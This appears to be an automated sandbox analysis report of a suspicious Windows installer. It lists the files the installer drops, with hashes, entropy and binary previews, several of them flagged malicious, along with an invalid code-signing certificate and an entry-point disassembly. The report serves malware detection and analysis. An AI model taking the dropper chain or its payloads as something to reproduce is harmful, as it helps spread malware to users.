Preview:	.o.w..~`A...kH0..m.O.H..4.M...$..i.I.Q.<k........"T....m_RN.R.....2K^......`Y.nw.{vu.....^... PT.M[..\(..)........".Yw.gN]7..!......lK...n5....._..$4(/^.e=f@......pA..6.:G.9....g..c...K...M;..w..+..&..pn.i&..J..}..l.........h'."..\|..._....%!.'?..~.%.u(..8......Ch.#.H.t..#v_?.~..<x.....0...6......Q.t.w..?2.=.,v...I.)......X.$.....8".".b=......Kc.r.(..j0cZ\|Q.r..._.....5.0..=..\.B..z...Ta6.Z~...Mk..D(.Q..7G..].k...7e$.6..._..DjB..A,Bo...[.[U.9.j.-g^w.N...... j...>.......!B........H.0.uI.r7...X..k....R.W.&o. ..zc.....&..0..M.......)..z.......O7W..\|.-.n...L.'.m..z.jG..px...<....E..Z.4.x.MP..e_..u9.'F...;S.l.$..s-...y......Ds..X..p.n......8.2.V......x_g....E>w..,.v........=.e.......{.....>..9....C.rm?.D6..x..Rc.P.<.K@...V.{Rp.f.5.)...w..t.+N...N{.&...@O....ALP.(g.6=.^$H....?Y.k...)"...;.J+xB...._.)...4..7E....!..48U.%..'g...AE3.~.\....WP>.j..=b.."+..6.?.....e....L.B.5.V6......8..!k.9.:.A..([......od..:..b(8c...0L..a.$.l.a...1..z..W...

C:\Users\user\AppData\Local\Temp\Straight

Download File

Process:	C:\Windows\SysWOW64\extrac32.exe
File Type:	data
Category:	dropped
Size (bytes):	124928
Entropy (8bit):	6.625425277541543
Encrypted:	false
SSDEEP:	3072:BnEoXnmowS2u5hVOoQ7t8T6pUkBJR8CThpmESv+AqVnBypIX:BnEo3tb2j6AUkB0CThp6vmVn/
MD5:	490590D7099C402F4614B5CF00004420
SHA1:	E3060C0F79C55E18DE28E3AEB8529901938D5292
SHA-256:	2A7AFBF76ABCC1D5917CF011B016C2C4C915D7F8B263BBF74A09060DBEDE9418
SHA-512:	703F9A0D1AA47091A90D507F72CD35F83CAA402CB10B8DAFC3945562DB6DBB05A76CE78F9F93D17EF94866055F95D0BC3A70B9CA95011B9B5401D44F86872491
Malicious:	false
Preview:	YP.D$DP....I..G..t$....t0...t....u>.w..D$DP.4...YY.(.w..D$DP....YY..t....w..D$DP.w...........u.F.G..u,h.....D$DP.u.....I..D$@Ph4mL......YY..u..t$..O.C.........h.....D$DP.u...t.I..D$@P.L$$.*_...O4.D$ ;.t.P..j...O4.A..A..A...L$ .ri...O4.G....t/.G..u(h.....D$DP.u.....I..D$@Ph4mL..H...YY..t.F.O.C...tYh.....D$DP.u.....I..D$@P.L$4.^...Ol.D$0;.t.P.=j...Ol.A..A..A...L$0..h...Ol..G....t.F.O.C...t.;.u..u..........t.F.O.C......tk.D$.P.u.....I..O...y..D$.9.....u.FC.T$.......t.9.....u.FC......t..D$.+D$.9.....u.FC......t..D$.+.9.....u.FC.. t.;.u.............;.....u.FC;.u..E.P.......O.............t.3...3.@_^[..]...U..V..~(.t..u........u.Vh.UF..u.........\|.I........u.2.....^]...U..M.].....U..QSVW.u.....P.I...u..{........3.PPj..u...H.I..E...u.......E..p.3.j.Z...........Q.7...Y..WVj..u...H.I..M.3.f..O....3.F.,8S.u.W.b...YPW....I..s$W....YY..t.......3.W....Y....W....Y3.@_^[....V...6..l..j.V.}...YY..^...U..W...O...0.I...t.V.q8Q.......u.^.E..t.j.W.C...YY.._]...U.....U.SV..3.u.W...~....N(.N0.N4

C:\Users\user\AppData\Local\Temp\Suppose

Download File

Process:	C:\Users\user\Desktop\installer_1.05_36.4.exe
File Type:	data
Category:	dropped
Size (bytes):	36038
Entropy (8bit):	7.994518180793861
Encrypted:	true
SSDEEP:	768:DgT1WuuwDwOKYF15yfWJTkKR1w4eU9sjYDGufV7WLdg:Dg5WUDwLfWmKR1A+sjMGG8O
MD5:	FE57C7DDE39E57445EEFDCB89031E551
SHA1:	EEBC5A8465A5DCA39B46904A6A0B4A64B9A1ADF5
SHA-256:	8628B0894A5EE5600649D3054B4CEDE4D30201442D1FD34BAB007B8AD92C4F75
SHA-512:	7E27D8B333F9F8D7C19B4D640B0F3824045D39C238B60427F960902511B02AA4B3746F063B2E921F0D5B4DE9ABFEB8CC915164504E5EE92E56595C3D847F9654
Malicious:	false
Preview:	i..4M..(.(L..;.Ha.....xK..6....W=..?.].?k..&....I.VQe..v.!.l?.l..d.W........H..i.n.T..5...ay(f..Z.D...U..M.P..@...c...i.{.]n.{}m!Gm.7..$r.g2.q8.0.....E...'.3.u.b).%sT.:.m@.1..c.....?..c..\..4...).......O...Q..k.O..2.#V)>..kM.......y..2....Rxh'...6......S.3_6....GhI..y..1.&w..t..&.....&...o.E.m......--.._.v.S......B....G.U..j..}=fS_..(.)FI+X..........p.rD.;...Bsl.uu..tA.......;..LIn.}p..[.....=.U.qu..........i`-..9]Z\..r..2.c.t.u\9.C=.o.O....^.H{W......).....I.....C....T.o$...O-......-?x>(.Q..!....u..@.k.-Y....}..,.......:...p...P.?._....._.:B1.Br.{..QB./>.8f@.I=U&.?<.f.q'.0{".....M....S...j..P1..T3..5%P.7_`,..<.e...<.:..v.1...=a...yT....BE..F...3._..u...4.(c^...^w.K.yg.h...BB...xF[q......Y.3..T#.3,.ne..a..s.W..>.....K..~...YT..5..I.z.Q.N..;.Q:.......t.+.4.T./&E[.Z.9...8?W..:...7....?xR...{...._.%;.y..E.m..&.J...Z.<.cA..,-B.3k...../......`wD-6I...,*... ..1......+.F....y.j.~S\...5l.M......_.l.}PQ....b....p....w..W..`2.)..!.......%[s....e.

C:\Users\user\AppData\Local\Temp\Turkish

Download File

Process:	C:\Windows\SysWOW64\extrac32.exe
File Type:	data
Category:	dropped
Size (bytes):	101376
Entropy (8bit):	6.60309115168509
Encrypted:	false
SSDEEP:	3072:rv18mLthfhnueoMmOqDoioO5bLezW9FfTut/Dde6u640ewy4Za9coRC2jM:LphfhnvO5bLezWWt/Dd314V14ZgP0d
MD5:	137079AF2899310647BD0D4DC68D2E93
SHA1:	5946B5A03B7083B26242D3B81CC630523719CC07
SHA-256:	E2707F0B325FB1F3A855A6F11CAF45550CB5BFB9969A48EDA02303AE09E5449F
SHA-512:	4495CBEC0AA29A208AB4F0210E9491B5BF3BE827981577BEAEEECDF44829B821178B673E77A50F765FE40376168FB8C9060C3BC2B557F77BCC7DEFD0F6665CDA
Malicious:	false
Preview:	....H.....@..}..]..E..{...~.=......P....I.f.C........H..\|1...D1.t..@8.@......\|1...D1.t..@8.@..2._^[....U..QQ.E.S.].V.u.W.#....C..............E.i.....+.i......E..E.P3.P8E.t.SP..PSP....I.....u!8E.tu...H..\|9...D9.t..@8.@.L'...G~)S.u.....I...uI..j.^.H..\|9...D9.t..@8.p.....$.I....I..\|9...T9.t..R8.B..\|9...D9.t..@8.@.._..^[....U..QQSW....3.E.QQ.x.GW.0j.Q....I..E...u.......@V3.j.Z.........Q....Y.u....E.VW.0j.j.....I.H..Pj.V.YK..V....Y^_[..U..}..V..u.QQ......g.u...S..Y.N..F......~7.B.j........Y.......F..F....u.j.X........P.F..'...Y....P...2....F.@P.u..6. ......^]...U..VW.}.....Q..A...t..B...t..P.;.u...;N.u..V.Q.e....'..N._^]...U..QQSW....3.E.QQ.x.QQGW.0QQ....I..E...u........3VP....Y3...E.QQ.u.VW.0QQ....I.HPQV...(...V.h...Y^_[..U..E.Pj..u..u..u..8......p....Q.wR.......y....].U..E..@....y..u....I.....u.V.u....&....&..F.....^3.]...U......DS.].V...W.t$......3.3.G..P.{..D$...p.I.;.u...t.I..D$ P..l.I..]..d$(..d$,.j.Xf.D$ .C......................tq.....j....C..p....O...F....D$..C..p..

C:\Users\user\AppData\Local\Temp\Utils

Download File

Process:	C:\Windows\SysWOW64\extrac32.exe
File Type:	data
Category:	dropped
Size (bytes):	149504
Entropy (8bit):	5.684948439111906
Encrypted:	false
SSDEEP:	1536:ASfuVGHj1vtK7h6R8anHsWccd0vtmgMbFuz08QuklMBNIimuzaAwusPS:ATq8QLeAg0Fuz08XvBNbjaAtsPS
MD5:	6B51A5DA97530A7AE324C3C9F88C8924
SHA1:	238A7540DB2B5690C99887ADE3507560535BE2C4
SHA-256:	E7CEECA8A39642EC6997FE0E19E9D22DDB916AA2C55D19E7ED52B88372F4AFC7
SHA-512:	9DC6120E77B9B2AB364B1566F9F8104DB72574EAB4FF832D87B81E64EC16848D835C92A6E2484428C675A45B964FDB410EA28E4EB5D672603F5019236F770DB8
Malicious:	false
Preview:	..v...j...^.........................................(...:...F...N...d...z....................................".......:...N...h...x.................................... ...4...P...b...t.........................n..................>...T...p....................................(...@...P...^...t................................&...B...`............................. ...8...J...\...r..................................."......@...N...Z...n............................V...J...:..............................................................<...V...l...x...........................................(...2...D...V...f...x....................................... ...2...D...^...x..................x...^...H...2....... ...........................................'...........%...).......................................M...&...........................................h...R...>...(....................................... ...6...F...V...h...v....................................,...:.

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_4rugxlia.jeq.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_xgmqxorh.24w.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\e7d08a4a

Download File

Process:	C:\Users\user\AppData\Roaming\UltraMedia\vsv_tool.exe
File Type:	PNG image data, 2032 x 4684, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	7043853
Entropy (8bit):	7.998562535252469
Encrypted:	true
SSDEEP:	196608:jzqqLRn623k+aKXkb4M5mXeHe1djFWgyq:jeqQLMXkbyXe+1djFiq
MD5:	667C9BCB2BC991D875DB198CCD2FB30C
SHA1:	67703DD819A60A8E46023967573DCD6008FBAA8A
SHA-256:	381D8954975FA48B4A07624C65DE7A29BBF7DDFD0B6DFB68AAC312C7E82EC526
SHA-512:	470CAC2E53058051C8CE3BA05D79C7362B717204BC7475FFA9B674AC003E65525FC366DF94EAEE9B73467233E1BAB0510A92F22941C2382767A16F28DBE3D332
Malicious:	false
Preview:	.PNG........IHDR.......L......E5... .IDATx..9.$G.....32g..X.w.tvA&P..(y.M.....r7.Q.r.ke.....0...3...>Vk.$.........33.##3#3.......p......./?BD.`n..DDDD\.._@...c...10.0...G.<n.E~.9./...q\|J..P...59.... O.3..@...0..)....!.=..).s{v.....4MC..Oi...]J.."g.R......m....1..RJ...n..)..+..B....B...{(.T...6-9.....Pkp...MKn#...m/dx..v....M.l?""..#.."v...C.\|....c..H>c.].H..M.\|B57.\|..)B.d.m.........;f..gg0&....n.c....0.4..6.~.T7........+:..../_..DDD.E....x...C..cL................3.y(;....)k......\|;..b.cz.....y.o..l.....Y.&n.....g7.g...Rx!.....u].5...m...#...@...\|....P.1....Z.M.....6...n$D.......?......q-....C....sI>...q/....G.0 ..(?4.....F....H..%..A......(..g;$_H..7`. D.......B........P..a./].o.$..I~w.D...!.._b.I..5...^)....X......k..\|V.NB\.<<D..q...W$k.>..@..^..}p-..=.....k...........h.nB~W.3...r..................\|.f....S....ew./.d....T..I..W.Q~.]1.O..:...\|)....'V.k_.1...F.1..7l$D.......V...m.9..B\.<h.....?...<n.Q>.d.....<.T.o"..[7...H..S.._.S..N-.

C:\Users\user\AppData\Local\Temp\is-2LKCO.tmp\MFL715GTQ6VLUD404.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\MFL715GTQ6VLUD404.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3367424
Entropy (8bit):	6.53001282597034
Encrypted:	false
SSDEEP:	98304:qJYVM+LtVt3P/KuG2ONG9iqLRQEd333T:7VL/tnHGYiql5l
MD5:	A62041070E18901131CBBE7825EC4EC7
SHA1:	67DB71F5A885B1E417B1272218E6B814C45A6C93
SHA-256:	E25EF8AA3AB40EE6950DACC4CCD9EDD1EBE973D45109F6EEF34F7F49E26A2E27
SHA-512:	AE560D59071F8E2D484E5607E6A3C6CAC52F011A6CB3F16B5EECB767F555D10A480AF32FE0BEB0DC6FF4B6BEC99B536AEBA58AD6697DAB72AAF60BD46F3BFC83
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L.....f.......................................@..........................04.......3...@......@...................P,.n.....,.j:...P0.p.....................,.<............................p,.......................,......@,.(....................text............................. ..`.itext..$.......0................. ..`.data................*.............@....bss.....\|....+..........................idata..j:....,..<...f+.............@....didata.(....@,.......+.............@....edata..n....P,.......+.............@..@.tls....X....`,..........................rdata..]....p,.......+.............@..@.reloc..<.....,.......+.............@..B.rsrc...p....P0......./.............@..@.............04......`3.............@..@................

C:\Users\user\AppData\Local\Temp\is-BS7G9.tmp\MFL715GTQ6VLUD404.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\MFL715GTQ6VLUD404.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3367424
Entropy (8bit):	6.53001282597034
Encrypted:	false
SSDEEP:	98304:qJYVM+LtVt3P/KuG2ONG9iqLRQEd333T:7VL/tnHGYiql5l
MD5:	A62041070E18901131CBBE7825EC4EC7
SHA1:	67DB71F5A885B1E417B1272218E6B814C45A6C93
SHA-256:	E25EF8AA3AB40EE6950DACC4CCD9EDD1EBE973D45109F6EEF34F7F49E26A2E27
SHA-512:	AE560D59071F8E2D484E5607E6A3C6CAC52F011A6CB3F16B5EECB767F555D10A480AF32FE0BEB0DC6FF4B6BEC99B536AEBA58AD6697DAB72AAF60BD46F3BFC83
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L.....f.......................................@..........................04.......3...@......@...................P,.n.....,.j:...P0.p.....................,.<............................p,.......................,......@,.(....................text............................. ..`.itext..$.......0................. ..`.data................*.............@....bss.....\|....+..........................idata..j:....,..<...f+.............@....didata.(....@,.......+.............@....edata..n....P,.......+.............@..@.tls....X....`,..........................rdata..]....p,.......+.............@..@.reloc..<.....,.......+.............@..B.rsrc...p....P0......./.............@..@.............04......`3.............@..@................

C:\Users\user\AppData\Local\Temp\is-KD1J4.tmp\_isetup\_isdecmp.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-2LKCO.tmp\MFL715GTQ6VLUD404.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	35616
Entropy (8bit):	6.953519176025623
Encrypted:	false
SSDEEP:	768:Z4NHPfHCs6GNOpiM+RFjFyzcN23A4F+OiR9riuujF+X4UriXiRF:Zanvc+R9F4s8/RiPWuUs4UWXiv
MD5:	C6AE924AD02500284F7E4EFA11FA7CFC
SHA1:	2A7770B473B0A7DC9A331D017297FF5AF400FED8
SHA-256:	31D04C1E4BFDFA34704C142FA98F80C0A3076E4B312D6ADA57C4BE9D9C7DCF26
SHA-512:	F321E4820B39D1642FC43BF1055471A323EDCC0C4CBD3DDD5AD26A7B28C4FB9FC4E57C00AE7819A4F45A3E0BB9C7BAA0BA19C3CEEDACF38B911CDF625AA7DDAE
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......g...#~..#~..#~...q.. ~..#~..!~......"~......+~......"~......"~..Rich#~..........................PE..L....[.L...........!.....6...........E.......P......................................D=...............................P.......P..(....................L.. ?...p.......................................................P...............................text....5.......6.................. ..`.rdata.......P.......:..............@..@.data...8....`.......<..............@....reloc.......p.......J..............@..B................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\is-KD1J4.tmp\_isetup\_setup64.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-2LKCO.tmp\MFL715GTQ6VLUD404.tmp
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	6144
Entropy (8bit):	4.720366600008286
Encrypted:	false
SSDEEP:	96:sfkcXegaJ/ZAYNzcld1xaX12p+gt1sONA0:sfJEVYlvxaX12C6A0
MD5:	E4211D6D009757C078A9FAC7FF4F03D4
SHA1:	019CD56BA687D39D12D4B13991C9A42EA6BA03DA
SHA-256:	388A796580234EFC95F3B1C70AD4CB44BFDDC7BA0F9203BF4902B9929B136F95
SHA-512:	17257F15D843E88BB78ADCFB48184B8CE22109CC2C99E709432728A392AFAE7B808ED32289BA397207172DE990A354F15C2459B6797317DA8EA18B040C85787E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......^...............l...............=\......=\......=\......Rich............................PE..d.....R..........#............................@.............................`.......,......................................................<!.......P..H....@..0.................................................................... ...............................text............................... ..`.rdata..\|.... ......................@..@.data...,....0......................@....pdata..0....@......................@..@.rsrc...H....P......................@..@................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\is-N1KCV.tmp\_isetup\_isdecmp.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BS7G9.tmp\MFL715GTQ6VLUD404.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	35616
Entropy (8bit):	6.953519176025623
Encrypted:	false
SSDEEP:	768:Z4NHPfHCs6GNOpiM+RFjFyzcN23A4F+OiR9riuujF+X4UriXiRF:Zanvc+R9F4s8/RiPWuUs4UWXiv
MD5:	C6AE924AD02500284F7E4EFA11FA7CFC
SHA1:	2A7770B473B0A7DC9A331D017297FF5AF400FED8
SHA-256:	31D04C1E4BFDFA34704C142FA98F80C0A3076E4B312D6ADA57C4BE9D9C7DCF26
SHA-512:	F321E4820B39D1642FC43BF1055471A323EDCC0C4CBD3DDD5AD26A7B28C4FB9FC4E57C00AE7819A4F45A3E0BB9C7BAA0BA19C3CEEDACF38B911CDF625AA7DDAE
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......g...#~..#~..#~...q.. ~..#~..!~......"~......+~......"~......"~..Rich#~..........................PE..L....[.L...........!.....6...........E.......P......................................D=...............................P.......P..(....................L.. ?...p.......................................................P...............................text....5.......6.................. ..`.rdata.......P.......:..............@..@.data...8....`.......<..............@....reloc.......p.......J..............@..B................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\is-N1KCV.tmp\_isetup\_setup64.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BS7G9.tmp\MFL715GTQ6VLUD404.tmp
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	6144
Entropy (8bit):	4.720366600008286
Encrypted:	false
SSDEEP:	96:sfkcXegaJ/ZAYNzcld1xaX12p+gt1sONA0:sfJEVYlvxaX12C6A0
MD5:	E4211D6D009757C078A9FAC7FF4F03D4
SHA1:	019CD56BA687D39D12D4B13991C9A42EA6BA03DA
SHA-256:	388A796580234EFC95F3B1C70AD4CB44BFDDC7BA0F9203BF4902B9929B136F95
SHA-512:	17257F15D843E88BB78ADCFB48184B8CE22109CC2C99E709432728A392AFAE7B808ED32289BA397207172DE990A354F15C2459B6797317DA8EA18B040C85787E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......^...............l...............=\......=\......=\......Rich............................PE..d.....R..........#............................@.............................`.......,......................................................<!.......P..H....@..0.................................................................... ...............................text............................... ..`.rdata..\|.... ......................@..@.data...,....0......................@....pdata..0....@......................@..@.rsrc...H....P......................@..@................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\UltraMedia\is-FT7JP.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BS7G9.tmp\MFL715GTQ6VLUD404.tmp
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1063239551
Entropy (8bit):	0.19795435725041813
Encrypted:	false
SSDEEP:
MD5:	C12ED31F29EF510393AE36661F44F102
SHA1:	2F00EEEA897AD851E65FE3A877D9B6380AEE484D
SHA-256:	8467A252F34645C19D8CDE87BBC4E214E81C58BB8D0376C67A43086222508CA0
SHA-512:	2075F2B500D65D8187470BA66EDFB268CE165F4841921F04629449CC62ED40D2D02FAE29CF0CA7C4DC7DDA925EA69E30C11E96042108B83899FF6150DBFC5CBD
Malicious:	true
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*..................N.........$.N.......N...@..........................P............@......@........................... Q..@....T..`............_?.)....Q.,N............................Q.....................................................CODE......N.......N................. ..`DATA..........N.......N.............@...BSS...........P......hP..................idata...@... Q..B...hP.............@....tls....0....pQ.......P..................rdata........Q.......P.............@..P.reloc.. N....Q..P....P.............@..P.rsrc....`....T..b....S.............@..P..............t.......s.............@..P........................................................................................................................................

C:\Users\user\AppData\Roaming\UltraMedia\vsv_tool.exe (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BS7G9.tmp\MFL715GTQ6VLUD404.tmp
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1063239551
Entropy (8bit):	0.19795435725041813
Encrypted:	false
SSDEEP:
MD5:	C12ED31F29EF510393AE36661F44F102
SHA1:	2F00EEEA897AD851E65FE3A877D9B6380AEE484D
SHA-256:	8467A252F34645C19D8CDE87BBC4E214E81C58BB8D0376C67A43086222508CA0
SHA-512:	2075F2B500D65D8187470BA66EDFB268CE165F4841921F04629449CC62ED40D2D02FAE29CF0CA7C4DC7DDA925EA69E30C11E96042108B83899FF6150DBFC5CBD
Malicious:	true
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*..................N.........$.N.......N...@..........................P............@......@........................... Q..@....T..`............_?.)....Q.,N............................Q.....................................................CODE......N.......N................. ..`DATA..........N.......N.............@...BSS...........P......hP..................idata...@... Q..B...hP.............@....tls....0....pQ.......P..................rdata........Q.......P.............@..P.reloc.. N....Q..P....P.............@..P.rsrc....`....T..b....S.............@..P..............t.......s.............@..P........................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.972549945523473
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	installer_1.05_36.4.exe
File size:	1'084'064 bytes
MD5:	911d5567537c6bb8413884309387bb54
SHA1:	4fb952a1e2aac681bee9a456f6ad13e55adc9522
SHA256:	24d8c5ef81f9c9a17eabb906829b89cf8680c49af58abf4ba3e743302c03c378
SHA512:	9bddda1baf1fafc7114feffd48b5919c0432e8c36987e2fc40143f88b1e9a302bfa639f17200382e6bf9b525225aa84b4d9d19a59f34aeb51752bae6df4e68f0
SSDEEP:	24576:XxV7sidAl5JCm0LJuKEol0d6jLc2WCZhk7ztdZ67eplkbyM5Kd0I4/tEww3Fo:hRdA575KFj9Dhk7l3knk6IkY1o
TLSH:	19352352BFB4500BDE510A3676B5DB6B9C76BD217836C397B300E8DC2762A81CE25363
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......A{.k...8...8...8.b<8...8.b,8...8...8...8...8...8..%8...8.."8...8Rich...8........PE..L.....GO.................t.......B...8.....

File Icon


Icon Hash:	f131f0d8e068c9a4

Static PE Info

General

Entrypoint:	0x4038af
Entrypoint Section:	.text
Digitally signed:	true
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x4F47E2E4 [Fri Feb 24 19:20:04 2012 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	0
File Version Major:	5
File Version Minor:	0
Subsystem Version Major:	5
Subsystem Version Minor:	0
Import Hash:	be41bf7b8cc010b614bd36bbca606973

Authenticode Signature

Signature Valid:	false
Signature Issuer:	CN=SSL.com EV Code Signing Intermediate CA RSA R3, O=SSL Corp, L=Houston, S=Texas, C=US
Signature Validation Error:	The digital signature of the object did not verify
Error Number:	-2146869232
Not Before, Not After	24/06/2022 09:22:08 14/04/2025 16:06:58
Subject Chain	OID.1.3.6.1.4.1.311.60.2.1.3=US, OID.1.3.6.1.4.1.311.60.2.1.2=Washington, OID.2.5.4.15=Private Organization, CN=TechPowerUp LLC, SERIALNUMBER=604 057 982, O=TechPowerUp LLC, L=Spokane, S=Washington, C=US
Version:	3
Thumbprint MD5:	648FDCF28A095B6DA4C31C9D5CD35A64
Thumbprint SHA-1:	8DAAE716F69B30A0DDC8C8A3F8EAC6C5B328CFD2
Thumbprint SHA-256:	20740B0C498F45830DD1D84EC746DEA5E43C2B0D32C603F2C2403A333CE9E8E7
Serial:	115BBE9E1C286827AF66E7A01390C206

Entrypoint Preview

Instruction
sub esp, 000002D4h
push ebx
push ebp
push esi
push edi
push 00000020h
xor ebp, ebp
pop esi
mov dword ptr [esp+18h], ebp
mov dword ptr [esp+10h], 0040A268h
mov dword ptr [esp+14h], ebp
call dword ptr [00409030h]
push 00008001h
call dword ptr [004090B4h]
push ebp
call dword ptr [004092C0h]
push 00000008h
mov dword ptr [0047EB98h], eax
call 00007FAEC0FE107Bh
push ebp
push 000002B4h
mov dword ptr [0047EAB0h], eax
lea eax, dword ptr [esp+38h]
push eax
push ebp
push 0040A264h
call dword ptr [00409184h]
push 0040A24Ch
push 00476AA0h
call 00007FAEC0FE0D5Dh
call dword ptr [004090B0h]
push eax
mov edi, 004CF0A0h
push edi
call 00007FAEC0FE0D4Bh
push ebp
call dword ptr [00409134h]
cmp word ptr [004CF0A0h], 0022h
mov dword ptr [0047EAB8h], eax
mov eax, edi
jne 00007FAEC0FDE64Ah
push 00000022h
pop esi
mov eax, 004CF0A2h
push esi
push eax
call 00007FAEC0FE0A21h
push eax
call dword ptr [00409260h]
mov esi, eax
mov dword ptr [esp+1Ch], esi
jmp 00007FAEC0FDE6D3h
push 00000020h
pop ebx
cmp ax, bx
jne 00007FAEC0FDE64Ah
add esi, 02h
cmp word ptr [esi], bx

Rich Headers

Programming Language:

[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[ C ] VS2010 SP1 build 40219
[RES] VS2010 SP1 build 40219
[LNK] VS2010 SP1 build 40219

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0xac40	0xb4	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x100000	0x9ab6	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x1065d0	0x24d0	.rsrc
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x86000	0x994	.ndata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x9000	0x2d0	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x728c	0x7400	419d4e1be1ac35a5db9c47f553b27cea	False	0.6566540948275862	data	6.499708590628113	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
